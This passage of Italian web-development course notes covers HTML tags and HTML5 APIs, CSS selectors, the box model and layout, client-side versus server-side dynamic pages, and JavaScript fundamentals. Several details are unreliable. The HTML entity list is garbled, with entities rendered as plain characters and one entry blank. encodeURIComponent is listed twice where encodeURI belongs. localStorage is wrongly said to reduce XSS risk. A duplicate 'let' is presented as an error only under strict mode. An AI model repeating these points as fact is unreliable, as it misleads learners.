- **Elementi Inline:** non iniziano su una nuova linea e occupano solo tanto spazio quanto necessario. Esempi: `<span>`, `<a>`, `<img>`.

Flusso del Documento: gli elementi block influenzano il flusso del documento creando nuove linee, mentre gli elementi inline rimangono nel flusso del testo esistente.

Dimensionamento: gli elementi block possono avere larghezza e altezza definite, ma gli elementi inline ignorano queste proprietà.

2.10.7 Linee di separazione

`<hr>`: tag che rappresenta una regola orizzontale. È utilizzato per separare visivamente il contenuto, come differenti sezioni di testo o articoli.

Caratteristiche:

- **Presentazione predefinita:** di solito, si presenta come una linea orizzontale che attraversa la pagina.
- **Stilizzazione:** con CSS, può essere stilizzato per cambiare colore, altezza, larghezza, ecc.
- **Usi comuni:** separare paragrafi, cambi di argomento, divisione tra intestazioni e corpo del testo.

2.11 Liste

2.11.1 Liste puntate

`<ul>`: tag che definisce una lista non ordinata (Unordered List). Utilizzato per elencare punti o elementi senza un ordine specifico.

`<li>`: tag che rappresenta un elemento di lista (List Item) e va sempre annidato all'interno di `<ul>` o `<ol>`.

```
1 <ul>
2   <li>Primo elemento</li>
3   <li>Secondo elemento</li>
4   <li>Terzo elemento</li>
5 </ul>
```

Listing 2.2: Esempio di lista non ordinata

2.11.2 Liste numerate

`<ol>`: tag che definisce una lista ordinata (Ordered List). Utilizzato per elencare punti o elementi in un ordine specifico.

```
1 <ol>
2   <li>Primo passo</li>
3   <li>Secondo passo</li>
4   <li>Terzo passo</li>
5 </ol>
```

Listing 2.3: Esempio di lista ordinata

È possibile cambiare lo stile dei punti o della numerazione con l'attributo `type`, ma non è una buona pratica; meglio usare CSS.

2.12 Link

`<a name="valore">`: usato per creare un ancoraggio nella pagina, permettendo agli utenti di saltare a punti specifici del documento. È una pratica obsoleta e superata dall'uso dell'attributo `id`.

Oggi, si usa prevalentemente l'attributo `id` con altri elementi HTML, come `<div>`, `<section>`, ecc., per creare ancoraggi.

```
1 <a href="https://www.example.com">Link esterno</a>
2 <a href="pagina.html">Link interno</a>
3 <a href="#sezione1">Link a un'ancora</a>
4 <div id="sezione1">Sezione 1</div>
```

Listing 2.4: Esempi di link

2.13 Immagini

`<img>`: tag che permette di incorporare immagini nel documento HTML. È un tag vuoto, il che significa che non ha un tag di chiusura.

Attributi Principali:

- **src**: specifica l'URL dell'immagine.
- **alt**: fornisce un testo alternativo che verrà visualizzato se l'immagine non può essere caricata, ed è essenziale per l'accessibilità.
- **width** e **height**: definiscono, rispettivamente, la larghezza e l'altezza dell'immagine.

L'attributo `alt` del tag `<img>` è fondamentale per l'accessibilità web, poiché fornisce una descrizione testuale delle immagini che può essere letta dai lettori di schermo utilizzati da persone non vedenti o ipovedenti. Migliora inoltre la SEO, aiutando i motori di ricerca a comprendere il contenuto delle immagini.

2.14 Mappe cliccabili

- `<map>`: usato per definire una mappa di immagine cliccabile.
- `<area>`: definisce le aree cliccabili all'interno della mappa di immagine.
- `<img>`: mostra l'immagine mappata con l'attributo `usemap`.

Attributi Principali di `<area>`:

- **shape**: definisce la forma dell'area cliccabile (`rect`, `circle`, `poly`).
- **coords**: specifica le coordinate dell'area cliccabile.
- **href**: l'URL a cui l'utente viene reindirizzato al clic.

2.15 Simboli speciali

Simboli Speciali: caratteri non alfanumerici come &, <, >, ", ecc., che hanno un significato specifico in HTML.

Entità HTML: sequenze di caratteri che rappresentano un simbolo speciale in HTML.

Perché usare le entità HTML:

- Per rappresentare simboli che hanno un significato specifico in HTML (es. < e &).
- Per inserire caratteri non facilmente accessibili da tastiera.

Esempi comuni:

- < rappresenta "<"
- > rappresenta ">"
- & rappresenta "&"
- " rappresenta "\"
- rappresenta uno spazio non interrompibile

2.16 Tabelle

- <table>: usato per creare una tabella.
- <tr>: definisce una riga della tabella.
- <th>: rappresenta un'intestazione di colonna.
- <td>: rappresenta una cella di dati.
- <caption>: elemento utilizzato per fornire un titolo o una descrizione a una tabella. Posizionato immediatamente dopo il tag <table>.
- <thead>: raggruppa l'intestazione di una tabella.
- <tfoot>: raggruppa il piè di pagina di una tabella.

Attributi comuni:

- colspan: permette a una cella di estendersi su più colonne.
- rowspan: permette a una cella di estendersi su più righe.
- border: specifica il bordo attorno alla tabella e alle celle.

```
1 <table>
2   <caption>Prodotti</caption>
3   <thead>
4     <tr>
5       <th>Nome</th>
```

```
6         <th>Prezzo</th>
7     </tr>
8 </thead>
9 <tbody>
10    <tr>
11        <td>Articolo 1</td>
12        <td>10 EUR</td>
13    </tr>
14 </tbody>
15 </table>
```

Listing 2.5: Esempio di tabella

2.17 Frame (iframe)

`<iframe>`: tag che permette di incorporare un documento HTML all'interno di un altro documento HTML.

Attributi Principali:

- **src**: URL del documento da incorporare.
- **width** e **height**: dimensioni dell'`<iframe>`.
- **title**: fornisce un nome descrittivo all'`<iframe>` per motivi di accessibilità.

Usi comuni:

- Incorporare mappe.
- Incorporare video da piattaforme come YouTube.
- Visualizzare documenti PDF.

Attributi di Sicurezza:

- **sandbox**: restringe ciò che il contenuto dell'`<iframe>` può fare.
- **srcdoc**: permette di definire il contenuto HTML direttamente nel tag `<iframe>`, senza usare l'attributo **src**.

2.18 Form

Un **form** è uno strumento interattivo che raccoglie informazioni dall'utente, come dati di accesso, informazioni di contatto, commenti, ecc.

Attributi di form:

- **action**: URL a cui i dati del form saranno inviati.
- **method**: metodo HTTP utilizzato per inviare i dati (es. GET, POST).

Elementi principali:

- `<input>`: campo di input dove gli utenti possono inserire informazioni.
- `<label>`: etichetta descrittiva per ogni campo di input.
- `<textarea>`: area di testo per inserire commenti o messaggi.
- `<select>` e `<option>`: creano un menu a tendina.
- `<button>`: pulsante che può svolgere diverse funzioni, come inviare i dati.

Attributi importanti:

- `required`: rende obbligatorio un campo di input.
- `placeholder`: mostra un suggerimento nel campo di input.
- `value`: stabilisce il valore predefinito di un campo di input.

2.18.1 Tag input

Il tag `<input>` è utilizzato per creare controlli interattivi per form web che ricevono dati dall'utente. Fa parte degli elementi di form in HTML utilizzati per raccogliere dati dagli utenti.

Attributi Principali:

- `type`: definisce il tipo di input (es. `text`, `password`, `checkbox`).
- `value`: definisce il valore predefinito.
- `placeholder`: mostra un testo suggerimento nel campo di input.
- `name`: utilizzato per identificare il controllo.
- `required`: specifica se un campo deve essere compilato prima di inviare un form.

Tipi di Input: Text, Password, Radio, Checkbox, Submit, Reset, e molti altri.

```
1 <form action="/submit" method="POST">
2   <label for="nome">Nome:</label>
3   <input type="text" id="nome" name="nome" required>
4
5   <label for="email">Email:</label>
6   <input type="email" id="email" name="email" required>
7
8   <label for="messaggio">Messaggio:</label>
9   <textarea id="messaggio" name="messaggio"></textarea>
10
11   <button type="submit">Invia</button>
12 </form>
```

Listing 2.6: Esempio di form

2.19 HTML5

HTML5 è la quinta e attuale versione di HTML. È stato sviluppato dal WHATWG (Web Hypertext Application Technology Working Group) e successivamente dal W3C, ed è stato pubblicato come W3C Recommendation nel 2014.

Obiettivi:

- Migliorare il linguaggio con il supporto per l'ultima multimedialità.
- Mantenere la retrocompatibilità con le versioni precedenti.
- Offrire un linguaggio di markup più consistente e semplice.

Caratteristiche Chiave:

- Elementi semantici come `<article>`, `<section>`, `<nav>`, e `<header>`.
- Supporto per grafica vettoriale con SVG e Canvas.
- API JavaScript come geolocation e drag-and-drop.
- Supporto per audio e video incorporati.

2.19.1 Microdati

I microdati sono un insieme di convenzioni e regole in HTML5 utilizzate per nidificare metadati all'interno di documenti web. Forniscono un modo per etichettare contenuti con nomi di proprietà specifici per un vocabolario definito.

Utilità:

- Aiutano i motori di ricerca e altre applicazioni a comprendere meglio il contenuto delle pagine.
- Migliorano il SEO e la visibilità del sito web.

2.19.2 Modifica del contenuto

- **contenteditable**: permette agli utenti di modificare il contenuto di un elemento della pagina.
- **spellcheck**: controlla l'ortografia del testo modificabile.
- **hidden**: nasconde elementi dalla vista dell'utente.

Utilità: rendono le pagine web più interattive e user-friendly, permettendo agli sviluppatori di creare interfacce utente più dinamiche e reattive.

2.19.3 Web Storage API

Il Web Storage fornisce meccanismi per memorizzare dati lato client. Include:

- `localStorage` per la memorizzazione persistente;
- `sessionStorage` per la memorizzazione per la sessione di navigazione.

Vantaggi:

- **Persistenza:** i dati in `localStorage` persistono tra le sessioni di navigazione.
- **Capacità:** maggiore capacità di memorizzazione dei dati rispetto ai cookie.
- **Sicurezza:** riduzione del rischio di attacchi XSS rispetto ai cookie.

2.19.4 Canvas

`<canvas>` è un elemento di HTML5 usato per disegnare grafiche via scripting (solitamente JavaScript). Può essere utilizzato per creare grafici, giochi, manipolazioni di immagini e animazioni.

Proprietà Principali:

- `width` e `height`: definiscono le dimensioni del canvas.
- `context`: rappresenta l'area di disegno e fornisce metodi e proprietà per il rendering.

2.19.5 Geolocation API

La Geolocation API permette agli utenti di condividere la loro posizione con applicazioni web. Può essere utilizzata per fornire servizi basati sulla localizzazione come mappe interattive, check-in di localizzazione e contenuti localizzati.

Metodi principali:

- `getCurrentPosition()`: ottiene la posizione corrente dell'utente. Restituisce un oggetto `Position` con le coordinate e altre informazioni sulla posizione. È un metodo asincrono.
- `watchPosition()`: monitora i cambiamenti di posizione dell'utente. Restituisce un ID intero che rappresenta il watch e può essere usato con `clearWatch()` per fermare il monitoraggio.
- `clearWatch()`: interrompe il monitoraggio della posizione iniziato con `watchPosition()`. Prende come parametro l'ID del watch da interrompere.

2.19.6 Contenuti multimediali

- `<audio>`: permette di incorporare file audio come musica o altri suoni.
- `<video>`: permette di incorporare video per riprodurli direttamente nelle pagine web.

Attributi Principali:

- **src**: URL del file multimediale.
- **controls**: aggiunge controlli di riproduzione come play, pause e volume.
- **autoplay**: avvia automaticamente la riproduzione al caricamento della pagina.
- **loop**: ripete il contenuto multimediale all'infinito.

2.19.7 Validazione dati

HTML5 introduce validazione lato client tramite attributi specifici:

- **required**: specifica che un campo di input deve essere compilato prima di inviare il form.
- **pattern**: definisce un pattern che il valore dell'input deve seguire, utilizzando espressioni regolari.
- **min** e **max**: stabiliscono il valore minimo e massimo per input numerici.
- **maxlength**: imposta la lunghezza massima di un valore di input testuale.
- **type**: può essere utilizzato per specificare il tipo di dati accettato, come **email**, **number**, **date**, ecc.

2.19.8 Datalist

Il tag `<datalist>` contiene un insieme di tag `<option>` che rappresentano le opzioni disponibili per gli altri controlli di input. Viene utilizzato in combinazione con l'attributo `list` di un elemento `<input>` per collegare la lista di opzioni all'input specifico.

Fornisce un elenco a discesa di suggerimenti agli utenti quando iniziano a digitare nell'input associato. Migliora l'usabilità del form, riduce gli errori di input e guida gli utenti attraverso i form, specialmente quando le opzioni di input sono limitate o prevedibili.

3 - CSS - Cascading Style Sheets

3.1 Introduzione ai CSS

I **CSS** (Cascading Style Sheets) sono fogli di stile utilizzati per definire l'aspetto e la formattazione di documenti scritti in HTML. Permettono di separare il contenuto (HTML) dalla presentazione (CSS).

3.1.1 Breve storia

- **1994:** Håkon Wium Lie propone i CSS.
- **1996:** il World Wide Web Consortium (W3C) rilascia la prima specifica ufficiale di CSS, CSS1.
- **1997:** viene introdotto CSS2 con molte nuove funzionalità.
- **Anni 2000:** evoluzione di CSS 2.1 e inizio dei lavori su CSS3, che viene suddiviso in “moduli” per facilitare l'aggiornamento.
- **Dal 2010 ad oggi:** continua lo sviluppo di nuovi moduli e funzionalità CSS, come flexbox, grid e variabili CSS.

3.2 Tipi di CSS

3.2.1 Inline CSS

Definizione: stili applicati direttamente all'elemento HTML utilizzando l'attributo `style`.

Esempio:

```
1 <p style="color: blue;">Questo è un testo blu.</p>
```

Uso: adatto per stili unici e specifici; tuttavia, non è raccomandato per stili complessi o ripetuti.

3.2.2 Internal (o Embedded) CSS

Definizione: stili definiti all'interno dell'elemento `<style>` nel `<head>` di un documento HTML.

Uso: utile per stili specifici di una singola pagina. Offre una separazione tra contenuto e presentazione senza la necessità di file esterni.

```
1 <head>
2   <style>
3     p { color: blue; }
```

```
4     h1 { font-size: 24px; }  
5     </style>  
6 </head>
```

Listing 3.1: CSS interni

3.2.3 External CSS

Definizione: stili definiti in un file esterno (tipicamente con estensione `.css`) e collegato al documento HTML.

Uso: ideale per stili che devono essere applicati a molte pagine. Favorisce la manutenibilità e la coerenza del design.

```
1 <head>  
2     <link rel="stylesheet" href="styles.css">  
3 </head>
```

Listing 3.2: Collegamento a CSS esterno

3.3 Il tag style

Il tag `<style>` è tipicamente collocato all'interno dell'elemento `<head>` di un documento HTML, anche se tecnicamente può apparire in qualsiasi parte del documento. Tuttavia, per garantire che gli stili vengano applicati correttamente e in modo prevedibile, è consigliato inserirlo nel `<head>`.

Attributi:

- **type:** un tempo era comune vedere l'attributo `type` con il valore `"text/css"` per specificare che il contenuto era CSS. Tuttavia, in HTML5, `text/css` è il valore predefinito, quindi l'attributo `type` non è più necessario.

Uso: il tag `<style>` è utilizzato per definire stili “interni” o “incorporati” per una specifica pagina. Se si desidera utilizzare lo stesso stile su molte pagine, è più efficiente utilizzare un foglio di stile esterno con il tag `<link>` piuttosto che ripetere le stesse regole CSS in ogni pagina.

3.4 Vantaggi dei CSS esterni

- **Separazione tra contenuto e presentazione:** permette di mantenere il codice HTML pulito, focalizzandosi solo sul contenuto, mentre la presentazione è gestita dal file CSS.
- **Manutenibilità:** modifiche allo stile possono essere fatte in un unico file, che si rifletteranno su tutte le pagine collegate a quel file CSS.
- **Caching:** i browser possono memorizzare nella cache i file CSS esterni, il che può migliorare le prestazioni di caricamento delle pagine in visite successive.

- **Coerenza:** garantisce che tutte le pagine web abbiano lo stesso aspetto e comportamento se utilizzano lo stesso file CSS.

3.5 Precedenza degli stili

Gli stili definiti in un file CSS esterno hanno una precedenza inferiore rispetto agli stili incorporati (definiti nel tag `<style>`) e agli stili inline (definiti direttamente sugli elementi HTML). Tuttavia, la specificità del selettore e l'uso della proprietà `!important` possono influenzare questa precedenza.

3.6 Proprietà per il testo

- `color`: definisce il colore del testo. Esempio: `color: red;`
- `font-family`: specifica la famiglia di font da utilizzare. Esempio: `font-family: Arial, sans-serif;`
- `font-size`: imposta la dimensione del testo. Esempio: `font-size: 16px;`
- `font-weight`: imposta lo spessore del testo (ad es. normale, grassetto). Esempio: `font-weight: bold;`
- `font-style`: imposta lo stile del testo (ad es. normale, corsivo). Esempio: `font-style: italic;`
- `text-align`: allinea il testo orizzontalmente (ad es. sinistra, centro, destra). Esempio: `text-align: center;`
- `text-decoration`: aggiunge decorazione al testo (ad es. sottolineato, barrato). Esempio: `text-decoration: underline;`
- `line-height`: imposta l'altezza della linea di testo. Esempio: `line-height: 1.5;`

3.7 Selettori CSS

3.7.1 Selettore universale

Seleziona tutti gli elementi sulla pagina.

```
1 * { margin: 0; padding: 0; }
```

Listing 3.3: Selettore universale

3.7.2 Selettori di tipo (o elemento)

Seleziona elementi basati sul nome del tag.

```
1 p { color: blue; }
```

Listing 3.4: Selettore di tipo

3.7.3 Selettori di classe

Seleziona elementi basati sull'attributo `class`. Preceduti da un punto (`.`).

```
1 .highlight { background-color: yellow; }
```

Listing 3.5: Selettore di classe

3.7.4 Selettori ID

Seleziona un elemento basato sull'attributo `id`. L'ID dovrebbe essere unico per pagina. Preceduti dal cancelletto (`#`).

```
1 #header { background-color: grey; }
```

Listing 3.6: Selettore ID

3.7.5 Selettori discendenti

Selezionano un elemento basato sulla sua relazione di discendenza con un altro elemento.

```
1 article p { font-size: 18px; }
```

Listing 3.7: Selettore discendente

3.7.6 Selettori di attributo

Selezionano elementi basati su un attributo e il suo valore.

```
1 input[type="text"] { border: 1px solid black; }
```

Listing 3.8: Selettore di attributo

3.7.7 Pseudo-classi

Selezionano elementi basati su uno stato specifico, come `:hover` o `:first-child`.

```
1 a:hover { color: red; }
```

Listing 3.9: Pseudo-classe

3.7.8 Pseudo-elementi

Selezionano parti specifiche di un elemento, come `::before` o `::after`.

```
1 p::first-line { font-weight: bold; }
```

Listing 3.10: Pseudo-elemento

3.8 Box Model

Nel web design, ogni elemento HTML è considerato come una scatola rettangolare. Questa scatola è composta da margini, bordi, padding e il contenuto effettivo.

3.8.1 Componenti del Box Model

- **Content:** l'area effettiva dove testo, immagini e altri contenuti sono visibili.
- **Padding:** lo spazio tra il contenuto e il bordo. Può avere valori diversi per ciascun lato (`top`, `right`, `bottom`, `left`).
- **Border:** la linea che avvolge il padding e il contenuto.
- **Margin:** lo spazio esterno al bordo. Determina la distanza tra l'elemento e gli elementi adiacenti.

3.8.2 Proprietà chiave

- `width` e `height`: definiscono le dimensioni del contenuto.
- `padding`: definisce lo spazio tra il contenuto e il bordo.
- `border`: stabilisce lo stile, la larghezza e il colore del bordo.
- `margin`: imposta lo spazio esterno al bordo.

3.8.3 Box Sizing

La proprietà `box-sizing` determina come vengono calcolate le dimensioni totali dell'elemento.

- `content-box` (default): `width` e `height` si applicano solo al contenuto, escludendo padding e bordo.
- `border-box`: `width` e `height` includono il contenuto, padding e bordo.

```
1 .box {  
2   width: 200px;  
3   height: 100px;  
4   padding: 10px;  
5   border: 2px solid black;
```

```
6   margin: 20px;  
7   box-sizing: border-box;  
8 }
```

Listing 3.11: Esempio di Box Model

3.9 Posizionamento dei blocchi

3.9.1 Static (predefinito)

Gli elementi sono posizionati nell'ordine normale del flusso del documento. Le proprietà `top`, `right`, `bottom` e `left` non hanno effetto.

3.9.2 Relative

L'elemento è posizionato in base alla sua posizione normale, senza rimuoverlo dal flusso. Le proprietà `top`, `right`, `bottom` e `left` determinano lo spostamento dall'originale.

3.9.3 Absolute

L'elemento è rimosso dal flusso normale e posizionato in relazione al suo antenato posizionato più vicino. Se non ci sono antenati posizionati, si riferisce al documento. Le proprietà `top`, `right`, `bottom` e `left` determinano la posizione rispetto all'antenato.

3.9.4 Fixed

L'elemento è rimosso dal flusso normale e posizionato rispetto alla finestra del browser. Rimane fisso anche durante lo scrolling.

3.9.5 Sticky

Una combinazione tra `relative` e `fixed`. L'elemento “aderisce” quando raggiunge una certa posizione durante lo scrolling. Ad esempio, un'intestazione che diventa fissa dopo uno scorrimento.

3.10 CSS Grid

CSS Grid è un sistema di layout bidimensionale che permette di creare layout complessi in modo semplice, organizzando il contenuto in righe e colonne.

```
1 .container {  
2     display: grid;  
3     grid-template-columns: 1fr 1fr 1fr;  
4     grid-gap: 10px;  
5 }
```

Listing 3.12: Esempio di CSS Grid

3.11 Media Query

Le **media query** permettono di applicare stili diversi a seconda delle caratteristiche del dispositivo, come la larghezza dello schermo. Sono fondamentali per la progettazione responsive.

```
1 @media (max-width: 600px) {  
2     body {  
3         background-color: lightblue;  
4         font-size: 14px;  
5     }  
6 }
```

Listing 3.13: Esempio di media query

4 - Pagine HTML dinamiche

4.1 Introduzione

Una **pagina web dinamica** è una pagina web che cambia in risposta all'utente o in base ai dati, senza necessariamente essere ricaricata.

4.1.1 Perché sono importanti le pagine web dinamiche?

- Offrono un'esperienza utente migliorata e interattiva.
- Permettono personalizzazioni basate su input dell'utente o profili utente.
- Riducono la necessità di ricaricare la pagina, risparmiando tempo e risorse.

4.2 Pagine HTML dinamiche Client-side

Tecnologia Primaria: JavaScript (con librerie/framework come jQuery, React, Angular, Vue.js).

Caratteristiche:

- Modifica del contenuto in tempo reale, anche senza interagire con il server.
- Esegue script nel browser dell'utente.
- Adatta per interazioni rapide, animazioni e manipolazione del DOM.

Esempi: validazione del modulo in tempo reale, animazioni, SPA (Single Page Applications).

4.3 Pagine HTML dinamiche Server-side

Tecnologie Primarie: PHP, Ruby on Rails, Python (Django, Flask), Node.js.

Caratteristiche:

- Genera contenuto basato su richieste al server, spesso interagendo con un database.
- Adatta per operazioni che richiedono l'accesso a dati persistenti o protetti.

Esempi: visualizzazione di post da un blog, autenticazione utente, generazione di report personalizzati.

4.4 Flusso di elaborazione

4.4.1 Client-side

1. Richiesta HTTP
2. Risposta HTTP
3. Elaborazione e rendering nel browser

4.4.2 Server-side

1. Richiesta HTTP
2. Elaborazione sul server
3. Risposta HTTP
4. Rendering nel browser

4.5 Confronto tra Client-side e Server-side

4.5.1 Definizione

- **Client-side:** modifica il contenuto di una pagina direttamente nel browser dell'utente.
- **Server-side:** genera o modifica il contenuto sul server prima di inviarlo al browser dell'utente.

4.5.2 Tecnologie principali

- **Client-side:** JavaScript (es. React, Angular, Vue.js).
- **Server-side:** PHP, Ruby on Rails, Python (Django, Flask), Node.js.

4.5.3 Interazione con il database

- **Client-side:** generalmente mediante API o servizi web.
- **Server-side:** diretta, utilizzando linguaggi come SQL.

4.5.4 Tempi di risposta

- **Client-side:** spesso istantaneo, poiché non richiede una nuova richiesta al server.

- **Server-side:** può richiedere più tempo, a seconda della richiesta al server e del tempo di elaborazione.

4.5.5 Esempi di utilizzo

- **Client-side:** animazioni, validazione di form in tempo reale, SPA (Single Page Applications).
- **Server-side:** generazione di pagine basate su contenuti di database, autenticazione utente, elaborazione di form lato server.

4.5.6 Sicurezza

- **Client-side:** dati e logica sono esposti nel codice sorgente del browser.
- **Server-side:** maggior controllo sulla sicurezza e sulla logica, poiché l'elaborazione avviene lato server.

4.6 Casi d'uso

4.6.1 Dinamica Lato Server

- **Autenticazione e autorizzazione:** gestione sicura delle credenziali degli utenti e controllo dell'accesso.
- **Interazioni dirette con il database:** operazioni CRUD (Create, Read, Update, Delete) su dati persistenti.
- **Elaborazione di dati sensibili:** operazioni che non dovrebbero essere esposte o accessibili dal lato client.

Vantaggi: maggiore controllo sulla sicurezza, logica nascosta dal client, gestione centralizzata.

4.6.2 Dinamica Lato Client

- **Interazioni e feedback in tempo reale:** animazioni, validazioni di form immediate, transizioni.
- **SPA (Single Page Applications):** applicazioni web che non richiedono ricariche complete della pagina.
- **Caricamenti asincroni:** recupero e visualizzazione di dati senza ricaricare l'intera pagina (ad es. AJAX).

Vantaggi: esperienza utente fluida e reattiva, riduzione delle richieste al server, interattività avanzata.

5 - JavaScript

5.1 Storia di JavaScript

5.1.1 Nascita di JavaScript (1995)

JavaScript è stato creato da Brendan Eich in soli 10 giorni presso Netscape. Originariamente chiamato *LiveScript*, è stato poi rinominato *JavaScript*.

5.1.2 Standardizzazione

- Adozione di JavaScript da parte di Microsoft sotto il nome *JScript* per Internet Explorer.
- Nascita di **ECMAScript** (1997) come standard ufficiale per garantire la coerenza tra le diverse implementazioni di JavaScript.

5.1.3 Nascita di AJAX (circa 2005)

Rivoluzione nel modo in cui le pagine web interagiscono con i server. Ha portato a un'esperienza utente molto più fluida e dinamica sul web.

5.1.4 Framework e librerie

- **jQuery** (2006) ha semplificato la manipolazione del DOM e la gestione degli eventi.
- Altri framework come **AngularJS** (2009), **React** (2013) e **Vue.js** (2014) hanno contribuito a strutturare e semplificare lo sviluppo di applicazioni web complesse.

5.1.5 Node.js (2009)

Creato da Ryan Dahl, ha permesso a JavaScript di essere eseguito lato server, estendendo le sue capacità al di fuori del browser.

5.1.6 ECMAScript 6 (ES6) e oltre (2015)

Introduzione di nuove caratteristiche come classi, promesse, moduli e altre funzionalità per modernizzare il linguaggio. I rilasci successivi (ES7, ES8, ecc.) hanno continuato ad aggiungere nuove funzionalità.

5.1.7 WebAssembly (2017)

Non è direttamente JavaScript, ma interagisce strettamente con esso. Permette l'esecuzione di codice a basso livello nei browser, ampliando le capacità delle applicazioni web.

5.2 Caratteristiche del linguaggio

5.2.1 Interpretato

A differenza dei linguaggi compilati, il codice JavaScript non viene convertito in linguaggio macchina prima dell'esecuzione. Viene letto ed eseguito linea per linea da un interprete.

5.2.2 Ad alto livello

JavaScript astrae molti dettagli della macchina sottostante, permettendo agli sviluppatori di concentrarsi sulla logica dell'applicazione piuttosto che sui dettagli hardware.

5.2.3 Debolmente tipizzato

In JavaScript, le variabili non sono vincolate a un tipo di dato specifico. Una variabile può contenere diversi tipi di dati durante la sua esistenza.

5.3 Identificatori

Gli identificatori sono nomi dati a variabili, funzioni, oggetti e altre strutture in JavaScript.

Iniziano con:

- Una lettera
- Un underscore (`_`)
- Un dollaro (`$`)

Possono contenere:

- Lettere (maiuscole o minuscole)
- Cifre (0-9), ma non come primo carattere
- Underscore (`_`)
- Dollari (`$`)

Case-Sensitive: `myVariable` e `MyVariable` sono considerati diversi.

Parole riservate: non possono essere usate come identificatori (es. `function`, `var`, `let`, ecc.).

5.4 Tipi di variabili

5.4.1 Tipi primitivi

- **Number:** rappresenta sia numeri interi che numeri con la virgola.
Esempio: `let age = 25;`
- **String:** sequenza di caratteri.
Esempio: `let name = "Alice";`
- **Boolean:** rappresenta valori veri o falsi.
Esempio: `let isActive = true;`
- **Undefined:** tipo assegnato a una variabile che non è stata inizializzata.
Esempio: `let value;`
- **Null:** rappresenta un valore nullo o “non esistente”.
Esempio: `let emptyValue = null;`
- **BigInt:** rappresenta numeri interi di grandi dimensioni.
- **Symbol (ES6):** rappresenta valori unici e immutabili.
Esempio: `let uniqueID = Symbol("id");`

5.4.2 Tipo Date

Date rappresenta una data e un'ora.

```
1 let now = new Date(); // Data e ora corrente
2 let specificDate = new Date('December 17, 1995 03:24:00');
3 let dateFromTimestamp = new Date(868645279000);
```

5.4.3 Tipi complessi

- **Object:** rappresenta una collezione di proprietà, ciascuna delle quali può contenere valori di qualsiasi tipo.
Esempio: `let person = {firstName: "John", lastName: "Doe"};`
- **Array:** una lista ordinata di valori.
Esempio: `let fruits = ["apple", "banana", "cherry"];`
- **Function:** blocco di codice progettato per eseguire un compito specifico.

```
1 function greet() {
2   console.log("Hello, World!");
3 }
```

5.5 Dichiarazione di variabili

- **var**: tradizionalmente usato per dichiarare variabili. La sua portata è legata alla funzione più vicina o, se dichiarata al di fuori di una funzione, è globale.
- **let** (introdotto con ES6): permette di dichiarare variabili con portata di blocco, risolvendo molti problemi legati all'uso di **var**.
- **const** (introdotto con ES6): simile a **let** nella portata di blocco, ma utilizzato per dichiarare variabili il cui valore non dovrebbe essere riassegnato.
- **Senza Parola Chiave** (sconsigliato): se una variabile viene dichiarata senza una parola chiave (e non si trova in "strict mode"), diventa automaticamente una variabile globale.

5.6 Strict Mode

"**use strict**" impone una versione più rigorosa del linguaggio JavaScript, aiutando gli sviluppatori a evitare errori comuni e comportamenti problematici.

Esempi di errori in strict mode:

```
1 "use strict";
2
3 // Dichiarazione senza parola chiave
4 x = 3.14; // Errore in strict mode
5
6 // Assegnazione a variabili non scrivibili
7 undefined = 1; // Errore in strict mode
8
9 // Dichiarazioni duplicate
10 let x = 10;
11 let x = 20; // Errore in strict mode
```

5.7 Variabili locali e globali

- **Variabili Globali**: variabili dichiarate fuori da qualsiasi funzione. Hanno una portata globale, il che significa che sono accessibili da qualsiasi parte del codice.
- **Variabili Locali**: variabili dichiarate all'interno di una funzione. Hanno una portata locale alla funzione.

Durata: le variabili globali esistono per tutta la durata dell'esecuzione del programma, mentre le variabili locali esistono solo per la durata della chiamata alla funzione in cui sono dichiarate.

Buone Pratiche: limitare l'uso di variabili globali. Utilizzare sempre parole chiave come **let**, **const** o **var** per dichiarare variabili.

5.8 Operatori

- Operatori aritmetici: +, -, *, /, %
- Operatori di confronto: ==, ===, !=, !==, <, >, <=, >=
- Operatori logici: &&, ||, !
- Operatori di assegnazione: =, +=, -=, ecc.

5.9 Strutture di controllo

5.9.1 Istruzioni condizionali

```
1 if (condition1) {  
2     // blocco 1  
3 } else if (condition2) {  
4     // blocco 2  
5 } else {  
6     // blocco 3  
7 }  
8  
9 switch(expression) {  
10     case value1:  
11         // blocco 1  
12         break;  
13     case value2:  
14         // blocco 2  
15         break;  
16     default:  
17         // blocco di default  
18 }
```

5.9.2 Cicli

```
1 for (initialization; condition; update) {  
2     // esegui questo blocco di codice  
3 }  
4  
5 while (condition) {  
6     // esegui questo blocco di codice  
7 }  
8  
9 do {  
10     // esegui questo blocco di codice  
11 } while (condition);
```

5.9.3 Controllo del flusso

- break: uscita da un ciclo.

- `continue`: salta all'iterazione successiva del ciclo.

```
1 for (let i = 0; i < 10; i++) {  
2   if (i === 5) break;  
3 }  
4  
5 for (let i = 0; i < 10; i++) {  
6   if (i % 2 === 0) continue;  
7   console.log(i);  
8 }
```

5.10 Funzioni

Le funzioni sono blocchi di codice riutilizzabili progettati per eseguire un compito specifico.

5.10.1 Definizione di una funzione

```
1 function nomeDellaFunzione(parametro1, parametro2) {  
2   // corpo della funzione  
3   return valoreDiRitorno;  
4 }
```

5.10.2 Chiamata di una funzione

```
1 nomeDellaFunzione(argomento1, argomento2);
```

5.10.3 Funzioni anonime

```
1 let variabile = function(parametro) {  
2   // corpo della funzione  
3 };
```

5.10.4 Arrow Functions (ES6)

```
1 let variabile = (parametro) => {  
2   // corpo della funzione  
3 };  
4  
5 let variabile = parametro => valoreDiRitorno;
```

5.11 Funzioni predefinite

Le funzioni predefinite sono funzioni incorporate nel linguaggio JavaScript che possono essere utilizzate senza doverle definire.

- `eval()`: valuta una stringa come codice JavaScript.
Esempio: `eval("x + y + 1");`
- `parseInt()` e `parseFloat()`: convertono una stringa in un intero o un numero con la virgola.
Esempio: `parseInt("123"), parseFloat("123.45")`
- `encodeURIComponent()` e `decodeURIComponent()`: codificano o decodificano un URI completo.
- `encodeURIComponent()` e `decodeURIComponent()`: codificano o decodificano una componente di un URI.
- `isNaN()`: controlla se un valore è NaN (Not a Number).
Esempio: `isNaN(123) -> false, isNaN("Hello") -> true`
- `isFinite()`: controlla se un valore è un numero finito.
Esempio: `isFinite(123) -> true, isFinite(-Infinity) -> false`

Molte altre funzioni predefinite sono disponibili in oggetti globali come `Math`, `Date` e `String`. Ad esempio, `Math.random()`, `Date.now()`, `String.fromCharCode()`, ecc.

5.12 JavaScript per il Web

5.12.1 Incorporare JavaScript

Inline: direttamente all'interno di un elemento HTML tramite attributi come `onclick`, `onload`, ecc.

```
1 <button onclick="alert('Ciao!')">Clicca qui</button>
```

Script Interno: all'interno di un blocco `<script>` nel corpo della pagina HTML.

```
1 <script>
2     function saluta() {
3         alert('Ciao, mondo!');
4     }
5 </script>
